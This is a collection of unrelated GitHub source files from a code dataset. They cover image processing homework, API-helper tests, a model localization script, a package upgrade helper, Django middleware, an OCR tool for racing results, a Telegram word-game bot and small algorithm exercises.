img_optim_1.putpixel((x, y), 0)\n img_optim_2 = img_optim_1.copy() # remove isolated pixel\n for y in range(1, img_optim_1.height-1):\n for x in range(1, img_optim_1.width-1):\n if(img_optim_1.getpixel((x, y)) > 0):\n count = 0\n for j in range(0, 3):\n for i in range(0, 3):\n if(img_optim_1.getpixel((x+i-1, y+j-1)) == 0):\n count += 1\n if(count >= 5):\n img_optim_2.putpixel((x, y), 0)\n return img_optim_2\n\ndef get_4_cat_image(img):\n img_4_cat = Image.new('L', (img.width, img.height))\n\n # shrink 1/2 - up cat\n array_cat_1 = np.zeros((img.height//2, img.width//2), dtype=int)\n for y in range(0, img.height, 2):\n for x in range(0, img.width, 2):\n mean = (img.getpixel((x, y))+img.getpixel((x+1, y))+img.getpixel((x, y+1))+img.getpixel((x+1, y+1)))//4\n array_cat_1[y//2,x//2] = mean\n for y in range(array_cat_1.shape[0]):\n for x in range(array_cat_1.shape[1]):\n if(array_cat_1[y, x] > 0):\n img_4_cat.putpixel((x+143, y+25), int(array_cat_1[y, x]))\n\n # rotate 180 degrees - bottom cat\n array_cat_2 = np.zeros((img.height//2, img.width//2), dtype=int)\n for y in range(array_cat_1.shape[0]):\n for x in range(array_cat_1.shape[1]):\n x_rotate = -x\n y_rotate = -y\n array_cat_2[y_rotate+299, x_rotate+299] = array_cat_1[y, x]\n for y in range(array_cat_2.shape[0]):\n for x in range(array_cat_2.shape[1]):\n if(array_cat_2[y, x] > 0):\n img_4_cat.putpixel((x+157, y+275), int(array_cat_2[y, x]))\n\n # rotate -90 degrees - left cat\n array_cat_3 = np.zeros((img.height//2, img.width//2), dtype=int)\n for y in range(array_cat_1.shape[0]):\n for x in range(array_cat_1.shape[1]):\n x_rotate = y\n y_rotate = -x\n array_cat_3[y_rotate+299, x_rotate] = array_cat_1[y, x]\n for y in range(array_cat_3.shape[0]):\n for x in range(array_cat_3.shape[1]):\n if(array_cat_3[y, x] > 0):\n img_4_cat.putpixel((x+25, y+157), int(array_cat_3[y, x]))\n \n # rotate 90 degrees - right cat\n array_cat_4 = np.zeros((img.height//2, img.width//2), dtype=int)\n for y in range(array_cat_1.shape[0]):\n for x in range(array_cat_1.shape[1]):\n x_rotate = -y\n y_rotate = x\n array_cat_4[y_rotate, x_rotate+299] = array_cat_1[y, x]\n for y in range(array_cat_4.shape[0]):\n for x in range(array_cat_4.shape[1]):\n if(array_cat_4[y, x] > 0):\n img_4_cat.putpixel((x+275, y+143), int(array_cat_4[y, x]))\n return img_4_cat\n\ndef get_warp_cat_image(img):\n img_warp_x = Image.new('L', (img.width, img.height))\n img_warp_cat = Image.new('L', (img.width, img.height))\n for y in range(img.height):\n for x in range(img.width):\n if(img.getpixel((x, y)) > 0):\n img_warp_x.putpixel((x, int(23*math.sin(x/23-5)+y)), img.getpixel((x, y)))\n for y in range(img.height):\n for x in range(img.width):\n if(img_warp_x.getpixel((x, y)) > 0):\n img_warp_cat.putpixel((int(23*math.sin(y/23-10)+x), y), img_warp_x.getpixel((x, y)))\n return img_warp_cat\n\ndef get_huge_space(edge_map):\n plt.title('Huge Space')\n plt.xlabel('theta')\n plt.ylabel('rho')\n theta = np.linspace(-np.pi, np.pi, num=50)\n for y in range(edge_map.height):\n for x in range(edge_map.width):\n if(edge_map.getpixel((x, y)) > 0):\n a1 = math.sin(theta)\n a2 = x*a1\n a3 = y*a2\n rho = a2+a3\n # rho = x*math.sin(theta)+y*math.sin(theta)\n plt.plot(theta,rho)\n plt.show()\n plt.savefig(\"ResultImage/result6.png\")\n\nif __name__=='__main__':\n # read image & create result folder\n sample1 = Image.open(\"SampleImage/sample1.png\")\n sample2 = Image.open(\"SampleImage/sample2.png\")\n sample3 = Image.open(\"SampleImage/sample3.png\")\n sample5 = Image.open(\"SampleImage/sample5.png\").convert('L')\n os.makedirs('ResultImage', exist_ok=True)\n \n result1, result2 = get_Sobel_edge_image(sample1, threshold=40)\n result1.save(\"ResultImage/result1.png\")\n result2.save(\"ResultImage/result2.png\")\n\n result3 = get_Canny_edge_image(sample1, th=50, tl=25)\n result3.save(\"ResultImage/result3.png\")\n '''\n result4 = get_LoG_edge_image(sample1, threshold=5)\n result4.save(\"ResultImage/result4.png\")\n\n result5 = get_edge_crispening_image(sample2, c=0.65)\n result5.save(\"ResultImage/result5.png\")\n '''\n get_huge_space(result3)\n\n # sample3_optim = get_morph_optim_image(sample3)\n # sample3_optim.save(\"ReferenceImage/sample3_optim.png\")\n '''\n result7 = get_4_cat_image(sample3)\n result7.save(\"ResultImage/result7.png\")\n \n result8 = get_warp_cat_image(sample5)\n result8.save(\"ResultImage/result8.png\")\n '''\n","repo_name":"alex9810171/DIP2022-Spring","sub_path":"HW2/dip_hw2.py","file_name":"dip_hw2.py","file_ext":"py","file_size_in_byte":16213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25793774086","text":"import json\n\nimport pytest\nfrom unittest.mock import patch, Mock\nfrom src.AI.openai_util import (\n get_api_key,\n create_headers,\n create_body,\n send_request,\n call_openai_api,\n parse_openai_response,\n)\n\n# Constants for testing\nTEST_API_KEY = \"test-api-key\"\n\n\n@pytest.fixture\ndef mock_env_vars(monkeypatch):\n monkeypatch.setenv(\"OPENAI_API_KEY\", TEST_API_KEY)\n\n\ndef test_get_api_key(mock_env_vars):\n assert get_api_key() == TEST_API_KEY\n\n\ndef test_create_headers():\n expected_headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {TEST_API_KEY}\",\n }\n headers = create_headers(TEST_API_KEY)\n assert headers == expected_headers\n\n\ndef test_create_body():\n user_content = \"Hello!\"\n body = create_body(user_content)\n assert \"gpt-3.5-turbo\" in body\n assert \"messages\" in body\n\n\n@patch(\"http.client.HTTPSConnection\")\ndef test_send_request(mock_http_connection):\n mock_response = Mock()\n mock_response.read.return_value = json.dumps({\"result\": \"success\"}).encode(\"utf-8\")\n mock_response.status = 200\n mock_http_connection.return_value.getresponse.return_value = mock_response\n\n headers = create_headers(TEST_API_KEY)\n body = create_body(\"Hello!\")\n response_data = send_request(headers, body)\n assert json.loads(response_data) == {\"result\": \"success\"}\n\n\n@patch(\"src.AI.openai_util.send_request\")\ndef test_call_openai_api(mock_send_request, mock_env_vars):\n mock_send_request.return_value = json.dumps({\"result\": \"success\"}).encode(\"utf-8\")\n result = call_openai_api(\"Hello!\")\n assert result == {\"result\": \"success\"}\n\n\ndef test_parse_openai_response():\n response_data = {\n \"id\": \"chatcmpl-123\",\n \"object\": \"chat.completion\",\n \"created\": 1677652288,\n \"model\": \"gpt-3.5-turbo-0613\",\n \"system_fingerprint\": \"fp_44709d6fcb\",\n \"choices\": [\n {\n \"index\": 0,\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"hello world\",\n },\n \"finish_reason\": \"stop\",\n }\n ],\n \"usage\": {\"prompt_tokens\": 9, \"completion_tokens\": 12, \"total_tokens\": 21},\n }\n\n expected_result = \"hello world\"\n result = parse_openai_response(response_data)\n assert result == expected_result\n","repo_name":"jhaenel/Dr-Alchemy-Doc-Gen","sub_path":"tests/AI/test_openai_util.py","file_name":"test_openai_util.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28455749741","text":"from __future__ import print_function\nimport argparse\nimport os\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nfrom torch.autograd import Variable\nimport math\nimport visual_utils\nfrom visual_utils import default_loader, default_flist_reader, ImageFilelist, compute_per_class_acc, save_correct_imgs, \\\n add_paths, prepare_attri_label, get_group, add_glasso, add_dim_glasso\nfrom model_MIL import Net\nfrom CAM_Utils import calculate_atten_IoU\nfrom IoU import test_with_IoU, calculate_average_IoU\nimport sys\nfrom PIL import Image\nimport numpy as np\nimport h5py\nimport argparse\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as nn\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nimport torch.utils.data\nimport scipy.io as sio\nimport pickle\nimport json\nfrom statistics import mean\n\ncudnn.benchmark = True\n\nCC_HOME = os.environ.get('CC_HOME')\nCC_DATA = os.environ.get('CC_DATA')\nCC_HOME = './'\nCC_DATA = './data/'\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_name', default = None, type=str, help='Path to the model state file')\nparser.add_argument('--dataset', default='CUB', help='FLO, CUB')\nparser.add_argument('--root', default=CC_HOME, help='path to project')\n\nparser.add_argument('--image_root', default=CC_DATA + 'images/', type=str, metavar='PATH',\n help='path to image root')\nparser.add_argument('--matdataset', default=True, help='Data in matlab format')\nparser.add_argument('--image_embedding', default='res101')\nparser.add_argument('--class_embedding', default='att')\nparser.add_argument('--syn_num', type=int, default=100, help='number features to generate per class')\nparser.add_argument('--gzsl', action='store_true', default=False, help='enable generalized zero-shot learning')\nparser.add_argument('--ol', action='store_true', default=False,\n help='original learning, use unseen dataset when training classifier')\nparser.add_argument('--preprocessing', action='store_true', default=True,\n help='enbale MinMaxScaler on visual features')\nparser.add_argument('--standardization', action='store_true', default=False)\nparser.add_argument('--validation', action='store_true', default=False, help='enable cross validation mode')\nparser.add_argument('--workers', type=int, help='number of data loading workers', default=2)\nparser.add_argument('--batch_size', type=int, default=64, help='input batch size')\nparser.add_argument('--resSize', type=int, default=2048, help='size of visual features')\nparser.add_argument('--attSize', type=int, default=312, help='size of semantic features')\nparser.add_argument('--critic_iter', type=int, default=5, help='critic iteration, following WGAN-GP')\nparser.add_argument('--lambda1', type=float, default=10, help='gradient penalty regularizer, following WGAN-GP')\nparser.add_argument('--cls_weight', type=float, default=1, help='weight of the classification loss')\n# parser.add_argument('--lr', type=float, default=1e-6, help='learning rate to train GANs ')\nparser.add_argument('--classifier_lr', type=float, default=1e-6, help='learning rate to train softmax classifier')\nparser.add_argument('--beta1', type=float, default=0.5, help='beta1 for adam. default=0.5')\nparser.add_argument('--cuda', action='store_true', default=True, help='enables cuda')\nparser.add_argument('--gpu_id', default=None) # GPU id\nparser.add_argument('--pretrain_classifier', default='', help=\"path to pretrain classifier (to continue training)\")\nparser.add_argument('--netG', default='', help=\"path to netG (to continue training)\")\nparser.add_argument('--netD', default='', help=\"path to netD (to continue training)\")\nparser.add_argument('--netG_name', default='')\nparser.add_argument('--netD_name', default='')\nparser.add_argument('--outf', default='./checkpoint/', help='folder to output data and model checkpoints')\nparser.add_argument('--outname', default='cub', help='folder to output data and model checkpoints')\nparser.add_argument('--save_every', type=int, default=100)\nparser.add_argument('--print_every', type=int, default=1)\nparser.add_argument('--val_every', type=int, default=1)\nparser.add_argument('--start_epoch', type=int, default=0)\nparser.add_argument('--manualSeed', type=int, default=3483, help='manual seed')\nparser.add_argument('--nclass_all', type=int, default=200, help='number of all classes')\nparser.add_argument('--ALE', action='store_true', default=False, help='use ALE as classifier')\nparser.add_argument('--imagelist', default=CC_HOME + '/ZSL_REG/data/CUB/cub_imagelist.txt', type=str, metavar='PATH',\n help='path to imagelist (default: none)')\nparser.add_argument('--onlycorrect', action='store_true', default=False,\n help=\"only process the correctly classified images\")\nparser.add_argument('--resnet_path', default='../pretrained_models/resnet101_cub.pth.tar', # resnet101_cub.pth.tar resnet101-5d3b4d8f.pth\n help=\"path to pretrain resnet classifier\")\nparser.add_argument('--finetune', action='store_true', default=False, help='use ALE as classifier')\nparser.add_argument('--train_id', type=int, default=1001)\nparser.add_argument('--pretrained', default=None, help=\"path to pretrain classifier (to continue training)\")\nparser.add_argument('--checkpointroot', default=CC_HOME + '/ZSL_REG/checkpoint', help='path to checkpoint')\nparser.add_argument('--image_type', default='test_unseen_loc', type=str, metavar='PATH',\n help='image_type to visualize, usually test_unseen_small_loc, test_unseen_loc, test_seen_loc')\nparser.add_argument('--pretrain_epoch', type=int, default=5)\nparser.add_argument('--pretrain_lr', type=float, default=1e-4, help='learning rate to pretrain model')\n\n# ---------IoU Settings-------------\nparser.add_argument('--save_att', type=str, default=False, help='The save direction of attributes attention')\nparser.add_argument('--IoU_scale', type=int, default=4) # The size of IoU_scale\nparser.add_argument('--IoU_thr', type=float, default=0.1) # The threshold of IoU\nparser.add_argument('--save_img_num', type=int, default=3, help='How many images in each class should be saved.') # The threshold of IoU\n# ----------------------------------\n\nglobal opt\nopt = parser.parse_args()\nopt.dataroot = opt.root + 'data'\nprint(opt)\n\n# define random seed\nif opt.manualSeed is None:\n opt.manualSeed = random.randint(1, 10000)\nprint(\"Random Seed: \", opt.manualSeed)\nrandom.seed(opt.manualSeed)\ntorch.manual_seed(opt.manualSeed)\nif opt.cuda:\n torch.cuda.manual_seed_all(opt.manualSeed)\n\n# improve the efficiency\n# check CUDA\nif torch.cuda.is_available() and not opt.cuda:\n print(\"WARNING: You have a CUDA device, so you should probably run with --cuda\")\n\ndef main():\n # -----------load data-------------\n data = visual_utils.DATA_LOADER(opt)\n if opt.image_type == 'test_unseen_small_loc':\n test_loc = data.test_unseen_small_loc\n test_classes = data.unseenclasses\n elif opt.image_type == 'test_unseen_loc':\n test_loc = data.test_unseen_loc\n test_classes = data.unseenclasses\n elif opt.image_type == 'test_seen_loc':\n test_loc = data.test_seen_loc\n test_classes = data.seenclasses\n else:\n try:\n sys.exit(0)\n except:\n print(\"choose the image_type in ImageFileList\")\n\n # We need to prepare the attribute labels\n class_attribute = data.attribute\n attribute_zsl = prepare_attri_label(class_attribute, data.unseenclasses).cuda()\n attribute_seen = prepare_attri_label(class_attribute, data.seenclasses).cuda()\n attribute_gzsl = torch.transpose(class_attribute, 1, 0).cuda()\n\n # Data loading code\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n dataset_test = ImageFilelist(opt, data_inf=data,\n transform=transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,]),\n dataset=opt.dataset,\n image_type=opt.image_type)\n\n print(\"# of test samples: \", len(dataset_test))\n testloader = torch.utils.data.DataLoader(\n dataset_test,\n batch_size=opt.batch_size, shuffle=False,\n num_workers=4, pin_memory=True)\n\n print('Create Model...')\n print(\"Use cuda:\", opt.cuda)\n # -----------load model-------------\n model = Net(models.resnet50())\n\n if torch.cuda.is_available():\n device = torch.device('cuda')\n model.cuda()\n attribute_zsl = attribute_zsl.cuda()\n attribute_seen = attribute_seen.cuda()\n else:\n device = torch.device('cpu')\n if opt.model_name is not None:\n model.load_state_dict(torch.load(opt.model_name,map_location=device),strict=False)\n \n # -----------calculate IoU-------------\n # if you only want to test the IoU, set the save_att = False\n # save_att = False\n # if you want to save the attention map and bounding box, set following:\n save_att = opt.save_att\n\n body_avg_IoU, mean_IoU = test_with_IoU(model, testloader, attribute_zsl, IoU_thr=opt.IoU_thr, IoU_scale=opt.IoU_scale, save_att=save_att, required_num=opt.save_img_num)\n print('the Body part IoU is:/n', mean_IoU, body_avg_IoU)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"aikepotze/AMIL","sub_path":"CUB_localization/main_mil.py","file_name":"main_mil.py","file_ext":"py","file_size_in_byte":9591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10144812069","text":"import os\n\nfrom .maindata import MainData\nfrom .utils import get_packages_in_current_dir\n\n\nclass Upgradepkgs:\n \"\"\"\n upgrade packages in the current directory\n \"\"\"\n def __init__(self, only_new: bool):\n self.only_new = only_new\n self.meta = MainData()\n self.pkgs_in_dir = get_packages_in_current_dir()\n\n def start(self) -> None:\n \"\"\"\n start upgrade\n \"\"\"\n if not self.pkgs_in_dir:\n print(('{0}Directory {1}{2}{0} does not contain a Slackware '\n 'packages for upgrade.{3}').format(self.meta.clrs['lred'],\n self.meta.clrs['cyan'],\n os.getcwd(),\n self.meta.clrs['reset']))\n else:\n self.upgradepkgs()\n\n def upgradepkgs(self) -> None:\n \"\"\"\n upgrade packages\n \"\"\"\n from subprocess import call\n\n for pkg in self.pkgs_in_dir:\n install_mod = '--install-new --reinstall'\n if self.only_new:\n install_mod = '--install-new'\n\n call('/sbin/upgradepkg {0} {1}'.format(install_mod, pkg),\n shell=True)\n","repo_name":"MyRequiem/spman","sub_path":"src/upgradepkgs.py","file_name":"upgradepkgs.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"9239890760","text":"from odoo import fields, models\n\n\nclass ResAreaSpecialization(models.Model):\n _name = 'res.area.specialization'\n _description = 'Areas Specializations'\n\n name = fields.Char(string='Name', required=True)\n description = fields.Text(string='Description')\n opportunity_space_id = fields.Many2one(\n comodel_name='res.opportunity.space', required=True,\n string='Opportunity Space')\n","repo_name":"mudismud/odoo-addons-1","sub_path":"base_characterization/models/res_area_specialization.py","file_name":"res_area_specialization.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"21571571752","text":"import os\nimport argparse\nimport cv2\nimport enum\nfrom multiprocessing import Pool\nfrom functools import partial\n\ntry:\n from PIL import Image\nexcept ImportError:\n import Image\nimport pytesseract\n\n\nclass Color(enum.Enum):\n RED = (0, 0, 255)\n GREEN = (0, 255, 0)\n BLUE = (255, 0, 0)\n WHITE = (0, 0, 0)\n BLACK = (255, 255, 255)\n\n\npytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'\n\n\n###############################################################################\ndef image_to_string(img, lang='eng'):\n \"\"\"\n 주어진 이미지에서 문자 인식\n :param img: image 객체\n :param lang: 언어\n :return:\n \"\"\"\n prefix = os.environ.setdefault('TESSDATA_PREFIX', '')\n config = r'--tessdata-dir \"{data}\"'.format(data=prefix)\n v = pytesseract.image_to_string(img, config=config, lang=lang).strip()\n return v\n\n\n###############################################################################\ndef image_processing(img, filters):\n filters = [\n {\n 'name': 'threshold',\n 'color': 'GRAY',\n 'low_tone': 0,\n 'high_tone': 255,\n 'type': [\n 'THRESH_OTSU',\n 'THRESH_BINARY_INV'\n ],\n },\n {\n 'name': 'gaussian_blur',\n 'width': 3,\n 'height': 3,\n 'sigmax': 0\n },\n {\n 'name': 'edge_pre_serv'}\n ]\n for f in filters:\n if f['name'] == 'gaussian_blur':\n w, h, s = f['width'], f['height'], f['sigmax']\n img = cv2.GaussianBlur(img, (w, h), s)\n\n elif f['name'] == 'threshold':\n l, h = f['low_tone'], f['high_tone']\n _type = sum([getattr(cv2, x) for x in f['type']])\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n img = cv2.threshold(img, l, h, _type)[1]\n\n elif f['name'] == 'edge_pre_serv':\n img = cv2.edgePreservingFilter(img)\n return img\n\n\n###############################################################################\ndef ocr_each_player(img, data):\n\n order = ['total-record', 'player-name', 'rank', 'car-model', 'best-lab']\n\n record = dict()\n record['complete'] = True\n record['clean'] = True\n\n for k in order:\n c = data[k]\n t_img = img[c[1]:c[3], c[0]:c[2]]\n t_img = image_processing(t_img, filters={})\n value = image_to_string(t_img)\n\n if k == 'total-record' and 'DNF' == value:\n data['player-name'][0] -= 130\n data['car-model'][0] -= 130\n\n record[k] = value\n\n if k == 'player-name' and not value:\n return\n\n if k == 'player-name' and value.endswith(' w'):\n record['player-name'] = value[:-1].strip()\n\n if k == 'best-lab' and not value:\n record['complete'] = False\n\n if k == 'best-lab' and -1 != value.find('A'):\n record['best-lab'] = value.replace('A', '').strip()\n record['clean'] = False\n\n return record\n\n\n###############################################################################\ndef ocr(img, data):\n base = data['base']\n count = data['count']\n interval = data['interval']\n order = ['total-record', 'player-name', 'rank', 'car-model', 'best-lab']\n players = dict()\n\n for i in range(0, count):\n players[i] = dict()\n for item in order:\n players[i][item] = get_coord(\n base, data['coord'][item], interval=interval, count=count)[i]\n\n with Pool(4) as p:\n v = [d for _, d in players.items()]\n func = partial(ocr_each_player, img)\n ret_value = p.map(func, v)\n return ret_value\n\n\n###############################################################################\ndef get_coord(base: tuple, coords: (tuple, list), interval=0, count=1):\n bx, by = base\n x1, y1, x2, y2 = coords\n\n value = list()\n for v in range(0, count):\n offset = v * interval\n v = [\n x1 + bx,\n y1 + by + offset,\n x2 + bx,\n y2 + by + offset\n ]\n value.append(v)\n return value\n\n\n###############################################################################\ndef parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('target_image', type=str)\n parser.add_argument('--trained_data', type=str)\n arg_sepc = parser.parse_args()\n return arg_sepc\n\n###############################################################################\ndef convert(image_file, data):\n # x1, y1, x2, y2\n data = {\n \"base\": (0, 552),\n \"coord\": {\n \"rank\": [105, 25, 195, 85],\n \"player-name\": [340, 0, 800, 53],\n \"car-model\": [340, 55, 800, 104],\n \"best-lab\": [2943, 35, 3243, 83],\n \"total-record\": [3350, 35, 3700, 83]\n },\n \"interval\": 120,\n \"count\": 10\n\n }\n img = cv2.imread(image_file)\n value = ocr(img, data)\n return value\n\n # cv2.imwrite('temp.png', img)\n # cv2.imshow('crop', img)\n # cv2.waitKey(0)\n\n\n","repo_name":"RavenKyu/ForzaMotorsport-7-Result-API","sub_path":"forza_result/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8435335896","text":"from django.conf import settings\nfrom django.core.cache import cache\nfrom django.contrib.sites.models import Site\nfrom djangotoolbox.utils import make_tls_property\n\n\n_default_site_id = getattr(settings, 'SITE_ID', None)\nSITE_ID = settings.__class__.SITE_ID = make_tls_property()\n\n\nclass DynamicSiteIDMiddleware(object):\n \"\"\"Sets settings.SITE_ID based on request's domain.\"\"\"\n\n def process_request(self, request):\n # Ignore port if it's 80 or 443\n if ':' in request.get_host():\n domain, port = request.get_host().split(':')\n if int(port) not in (80, 443):\n domain = request.get_host()\n else:\n domain = request.get_host().split(':')[0]\n\n # Domains are case insensitive\n domain = domain.lower()\n\n # We cache the SITE_ID\n cache_key = 'Site:domain:%s' % domain\n site = cache.get(cache_key)\n if site:\n SITE_ID.value = site\n else:\n try:\n site = Site.objects.get(domain=domain)\n except Site.DoesNotExist:\n site = None\n\n if not site:\n # Fall back to with/without 'www.'\n if domain.startswith('www.'):\n fallback_domain = domain[4:]\n else:\n fallback_domain = 'www.' + domain\n\n try:\n site = Site.objects.get(domain=fallback_domain)\n except Site.DoesNotExist:\n site = None\n\n # Add site if it doesn't exist\n if not site and getattr(settings, 'CREATE_SITES_AUTOMATICALLY',\n True):\n site = Site(domain=domain, name=domain)\n site.save()\n\n # Set SITE_ID for this thread/request\n if site:\n SITE_ID.value = site.pk\n else:\n SITE_ID.value = _default_site_id\n\n cache.set(cache_key, SITE_ID.value, 5 * 60)\n","repo_name":"django-nonrel/djangotoolbox","sub_path":"djangotoolbox/sites/dynamicsite.py","file_name":"dynamicsite.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"67"} +{"seq_id":"818692437","text":"#!/usr/bin/python3\n\n# Develop Vmgabriel\n\n\"\"\"Define the Configuration base of all service, this get data\"\"\"\n\n# Libraries\nimport os\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef mbToBytes(byte_data: int) -> int:\n \"\"\"Convert byte number data and this convert to mb\"\"\"\n return byte_data * 1048576\n\ndef get_public_path() -> str:\n \"\"\"Get Public Path\"\"\"\n return str(Path(__file__).resolve().parent.parent.parent)\n\nprint('Public Path - {}'.format(get_public_path()))\n\nconfiguration = {\n 'host': '0.0.0.0',\n 'port': 7204,\n\n 'debug': True,\n\n 'files_path_upload': get_public_path() + '/public/',\n 'files_path_images_upload': get_public_path() + '/public/images/',\n 'max_length_files': mbToBytes(5),\n\n 'cookie_secret': os.getenv('COOKIE_SECRET'),\n 'cookie_name': os.getenv('COOKIE_NAME'),\n\n 'jwt_location': ['cookies'],\n 'jwt_secret': os.getenv('JWT_SECRET'),\n\n 'verify_ip': False, # True | False\n 'mail_sender': os.getenv('MAIL_SERVER'),\n 'mail_port': 465,\n 'mail_use_tls': False,\n 'mail_use_ssl': True,\n 'mail_username': os.getenv('MAIL_USERNAME'),\n 'mail_password': os.getenv('MAIL_PASSWORD'),\n\n 'header_notification': 'https://gitlab.com/vmgabriel/img-public/-/raw/master/rdp/logo-image.jpg',\n 'header_alert': 'https://gitlab.com/vmgabriel/img-public/-/raw/master/rdp/broke.jpg',\n 'url_image_cold': 'https://gitlab.com/vmgabriel/img-public/-/raw/master/rdp/cold.jpg',\n 'url_image_hot': 'https://gitlab.com/vmgabriel/img-public/-/raw/master/rdp/hot.jpg',\n\n 'alert_emails_list': ['timdx.2ei@gmail.com', 'vmgabriel96@gmail.com'],\n 'notifications_emails_list': ['timdx.2ei@gmail.com', 'vmgabriel96@gmail.com']\n}\n","repo_name":"ingcarlosmontenegro/daga-alerts","sub_path":"src/config/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8758259781","text":"from django.contrib import admin\r\nfrom django.urls import path,include\r\nfrom termlist import views\r\n\r\n\r\napp_name='termlist'\r\nurlpatterns = [\r\n path('', views.index,name='index'),\r\n path('search/',views.search,name='search'),\r\n path('addtion/',views.addtion,name='addtion'),\r\n path('modifys/',views.modifys,name='modifys'),\r\n]","repo_name":"hanwenlin/yaolei_item","sub_path":"termlist/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"3375916727","text":"import random\nfrom json import load\n\nfrom config import ENV\nfrom telegram import BotCommand, Update\nfrom telegram.ext import CallbackContext, CommandHandler\nfrom utils.fileproc import gen_irregular_dict_from_csv\nfrom utils.filters import check_admin_filter, check_chatid_filter\n\nword_dict = {}\n\n\ndef check_extra_dict(dict_dir):\n # 检查是否有用户自定义的单词库\n if dict_dir is None:\n return 0\n try:\n with open(f\"{ENV.DATA_DIR}/res/iverbs.csv\", 'r') as iverb_csvfile:\n with open(f'{ENV.DATA_DIR}/res/inouns.csv', 'r') as inouns_csvfile:\n word_dict = gen_irregular_dict_from_csv(\n iverb_csvfile,\n inouns_csvfile)\n print(f\"Irregular单词条目:{len(word_dict)}个\")\n return len(word_dict)\n except FileNotFoundError:\n return 0\n\n\ndef reload_dict():\n global word_dict\n with open('word_dict.json', 'r') as wd:\n word_dict = load(wd)\n\n try:\n with open(f\"{ENV.DATA_DIR}/res/iverbs.csv\", 'r') as iverb_csvfile:\n with open(f'{ENV.DATA_DIR}/res/inouns.csv', 'r') as inouns_csvfile:\n word_dict = gen_irregular_dict_from_csv(\n iverb_csvfile,\n inouns_csvfile,\n word_dict)\n except FileNotFoundError:\n pass\n\n\nreload_dict()\n\n\ndef get_answer(word):\n msg = \"\"\n if word in word_dict:\n for i in word_dict[word]:\n msg += i + \"\\n\"\n return msg[:-1]\n\n\n@check_chatid_filter\ndef wordtest_command(update: Update, context: CallbackContext) -> None:\n word = random.choice(list(word_dict.keys()))\n update.message.reply_text(f\"{word}\\n的同伴有谁?\\n请回复本消息回答你的答案。\")\n\n\ndef send_reply_msg(context: CallbackContext):\n word = random.choice(list(word_dict.keys()))\n context.bot.send_message(chat_id=-1001409640737,\n text=f'{word}\\n的同伴有谁?\\n请回复本消息回答你的答案。')\n\n\n@check_admin_filter\n@check_chatid_filter\ndef hour_game(update, context: CallbackContext) -> None:\n context.job_queue.run_repeating(send_reply_msg, interval=3600, first=1)\n\n\ndef stop_hour_game(update, context: CallbackContext):\n context.bot.send_message(chat_id=-1001409640737,\n text=f'每小时推送hour_game的服务已暂停')\n context.job_queue.stop()\n\n\ndef add_dispatcher(dp):\n dp.add_handler(CommandHandler(\"t\", wordtest_command))\n # dp.add_handler(CommandHandler(\"timer\", hour_game))\n return [BotCommand(\"t\", \"为特殊形态的单词们找伴儿游戏\")]\n # BotCommand(\"timer\", \"每小时推送个不规则形态单词给您\"),\n # BotCommand(\"stop\", \"终止每小时推送个不规则形态单词给您\")]\n","repo_name":"HDCodePractice/EnglishHelper","sub_path":"cmdproc/worddict.py","file_name":"worddict.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"67"} +{"seq_id":"24544554369","text":"target = 5\n\nnums = [2,5,77,222,333,4444,22222]\nclass Solution:\n def binary_search(t,nums):\n\n left = 0\n right = len(nums)\n while left<=right:\n mid = (left+right)//2\n if nums[mid]>t:\n right = mid - 1\n elif nums[mid] == t:\n return mid\n else:\n left = mid + 1\n return -1\n\n\ndef binary_search1(t,nums,right,left):\n\n\n\n mid = (right+left)//2\n\n if nums[mid] > t:\n right = mid - 1\n return binary_search1(t,nums,right,left)\n elif nums[mid] == t:\n return mid\n else:\n left = mid + 1\n return binary_search1(t,nums,right,left)\n\naa = binary_search1(target,nums,7,0)\nprint(aa)\n","repo_name":"1974410167/python_projects","sub_path":"pycharmproject/数据结构/二分查找.py","file_name":"二分查找.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14558507652","text":"from keras.datasets import cifar10\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D\nfrom keras.layers import MaxPooling2D\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers import Dropout\nfrom keras.optimizers import SGD\nfrom keras.layers.normalization.batch_normalization import BatchNormalization\nimport ssl\n\n\nssl._create_default_https_context = ssl._create_unverified_context\n\n# load- data = 